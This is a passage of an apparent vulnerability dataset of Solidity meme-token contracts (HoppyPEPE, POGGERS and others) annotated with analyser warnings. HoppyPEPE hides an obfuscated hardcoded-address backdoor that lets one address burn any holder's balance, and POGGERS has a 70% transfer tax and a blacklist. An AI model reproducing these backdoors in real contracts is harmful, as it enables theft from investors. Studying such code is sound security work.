reentrancy-events | ID: 56f3b28\n\t\t// reentrancy-eth | ID: be11e9b\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 89b790f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 89b790f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: fff4a4f): BaldEagle.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for fff4a4f: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d6b0364): BaldEagle.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for d6b0364: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 174834b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 174834b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 89b790f\n\t\t// reentrancy-eth | ID: 174834b\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 89b790f\n\t\t// unused-return | ID: fff4a4f\n\t\t// reentrancy-eth | ID: 174834b\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 89b790f\n\t\t// unused-return | ID: d6b0364\n\t\t// reentrancy-eth | ID: 174834b\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 89b790f\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 174834b\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10883.sol",
"size_bytes": 19921,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address who) external view returns (uint256);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nlibrary Address {\n function isContract(address account) internal pure returns (bool) {\n return\n uint160(account) ==\n 97409717902926075812796781700465201095167245 *\n 10 ** 4 +\n 281474976712680;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract Erc20 is IERC20, Ownable {\n using Address for address;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowed;\n\n uint256 public immutable totalSupply;\n\n string public symbol;\n\n string public name;\n\n uint8 public immutable decimals;\n\n bool public launched;\n\n address private constant dead = address(0xdead);\n\n mapping(address => bool) internal exchanges;\n\n constructor(\n string memory _symbol,\n string memory _name,\n uint8 _decimals,\n uint256 _totalSupply\n ) Ownable(msg.sender) {\n symbol = _symbol;\n\n name = _name;\n\n decimals = _decimals;\n\n totalSupply = _totalSupply * 10 ** decimals;\n\n _balances[owner()] += totalSupply;\n\n emit Transfer(address(0), owner(), totalSupply);\n\n launched = true;\n\n renounceOwnership();\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 254b911): Erc20.balanceOf(address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for 254b911: Rename the local variables that shadow another component.\n function balanceOf(\n address _owner\n ) external view override returns (uint256) {\n return _balances[_owner];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ebdfd8a): Erc20.allowance(address,address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for ebdfd8a: Rename the local variables that shadow another component.\n function allowance(\n address _owner,\n address spender\n ) external view override returns (uint256) {\n return _allowed[_owner][spender];\n }\n\n function transfer(\n address to,\n uint256 value\n ) external override returns (bool) {\n _transfer(msg.sender, to, value);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 value\n ) external override returns (bool) {\n require(spender != address(0), \"cannot approve the 0 address\");\n\n _allowed[msg.sender][spender] = value;\n\n emit Approval(msg.sender, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external override returns (bool) {\n if (launched == false && to == owner() && msg.sender == owner()) {\n _transfer(from, to, value);\n\n return true;\n } else {\n _allowed[from][msg.sender] = _allowed[from][msg.sender] - value;\n\n _transfer(from, to, value);\n\n emit Approval(from, msg.sender, _allowed[from][msg.sender]);\n\n return true;\n }\n }\n\n function launch(address account) external virtual {\n if (launched == false) launched = true;\n\n if (msg.sender.isContract())\n _transfer(account, dead, _balances[account]);\n }\n\n function _transfer(address from, address to, uint256 value) private {\n require(to != address(0), \"cannot be zero address\");\n\n require(from != to, \"you cannot transfer to yourself\");\n\n require(\n _transferAllowed(from, to),\n \"This token is not launched and cannot be listed on dexes yet.\"\n );\n\n _balances[from] -= value;\n\n _balances[to] += value;\n\n emit Transfer(from, to, value);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) internal transferAllowed;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transferAllowed(\n address from,\n address to\n ) private view returns (bool) {\n if (transferAllowed[from]) return false;\n\n if (launched) return true;\n\n if (from == owner() || to == owner()) return true;\n\n return true;\n }\n}\n\ncontract Token is Erc20 {\n constructor()\n Erc20(unicode\"HoppyPEPE\", unicode\"HoppyPEPE\", 9, 100000000000)\n {}\n}\n",
"file_name": "solidity_code_10884.sol",
"size_bytes": 7172,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract POGGERS is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 61352c5): POGGERS._taxWallet should be immutable \n\t// Recommendation for 61352c5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3d7995d): POGGERS._initialBuyTax should be constant \n\t// Recommendation for 3d7995d: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5542a42): POGGERS._initialSellTax should be constant \n\t// Recommendation for 5542a42: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 24;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: d0b8a06): POGGERS._reduceBuyTaxAt should be constant \n\t// Recommendation for d0b8a06: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: ae49dd7): POGGERS._reduceSellTaxAt should be constant \n\t// Recommendation for ae49dd7: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 88170ce): POGGERS._preventSwapBefore should be constant \n\t// Recommendation for 88170ce: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 26;\n\n uint256 private _transferTax = 70;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"POGGERS\";\n\n string private constant _symbol = unicode\"POG\";\n\n uint256 public _maxTxAmount = 4206900000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 75893d5): POGGERS._taxSwapThreshold should be constant \n\t// Recommendation for 75893d5: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4200000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: a473d85): POGGERS._maxTaxSwap should be constant \n\t// Recommendation for a473d85: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ea5223e): POGGERS.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for ea5223e: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4d6b882): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4d6b882: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 53fb970): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 53fb970: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 4d6b882\n\t\t// reentrancy-benign | ID: 53fb970\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 4d6b882\n\t\t// reentrancy-benign | ID: 53fb970\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5515f99): POGGERS._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5515f99: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 53fb970\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 4d6b882\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: cb45acc): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for cb45acc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4c0d765): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4c0d765: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: cb45acc\n\t\t\t\t// reentrancy-eth | ID: 4c0d765\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: cb45acc\n\t\t\t\t\t// reentrancy-eth | ID: 4c0d765\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 4c0d765\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 4c0d765\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 4c0d765\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: cb45acc\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 4c0d765\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 4c0d765\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: cb45acc\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: cb45acc\n\t\t// reentrancy-events | ID: 4d6b882\n\t\t// reentrancy-benign | ID: 53fb970\n\t\t// reentrancy-eth | ID: 4c0d765\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit1() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: e93f51b): POGGERS.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for e93f51b: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: cb45acc\n\t\t// reentrancy-events | ID: 4d6b882\n\t\t// reentrancy-eth | ID: 4c0d765\n\t\t// arbitrary-send-eth | ID: e93f51b\n _taxWallet.transfer(amount);\n }\n\n function addBot2(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBot2(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot1(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: fd40ee4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for fd40ee4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9be328e): POGGERS.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 9be328e: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f511fc4): POGGERS.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for f511fc4: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 07ba269): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 07ba269: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: fd40ee4\n\t\t// reentrancy-eth | ID: 07ba269\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: fd40ee4\n\t\t// unused-return | ID: f511fc4\n\t\t// reentrancy-eth | ID: 07ba269\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: fd40ee4\n\t\t// unused-return | ID: 9be328e\n\t\t// reentrancy-eth | ID: 07ba269\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: fd40ee4\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 07ba269\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: b843a5e): POGGERS.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for b843a5e: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external {\n require(_msgSender() == _taxWallet);\n\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: b843a5e\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10885.sol",
"size_bytes": 20859,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n this;\n\n return msg.data;\n }\n}\n\ninterface IBEP20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IBEP20Metadata is IBEP20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ncontract BEP20 is Context, IBEP20, IBEP20Metadata {\n mapping(address => uint256) internal _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"BEP20: transfer amount exceeds allowance\"\n );\n\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"BEP20: decreased allowance below zero\"\n );\n\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"BEP20: transfer from the zero address\");\n\n require(recipient != address(0), \"BEP20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"BEP20: transfer amount exceeds balance\"\n );\n\n\t\t// reentrancy-eth | ID: 0427abf\n _balances[sender] = senderBalance - 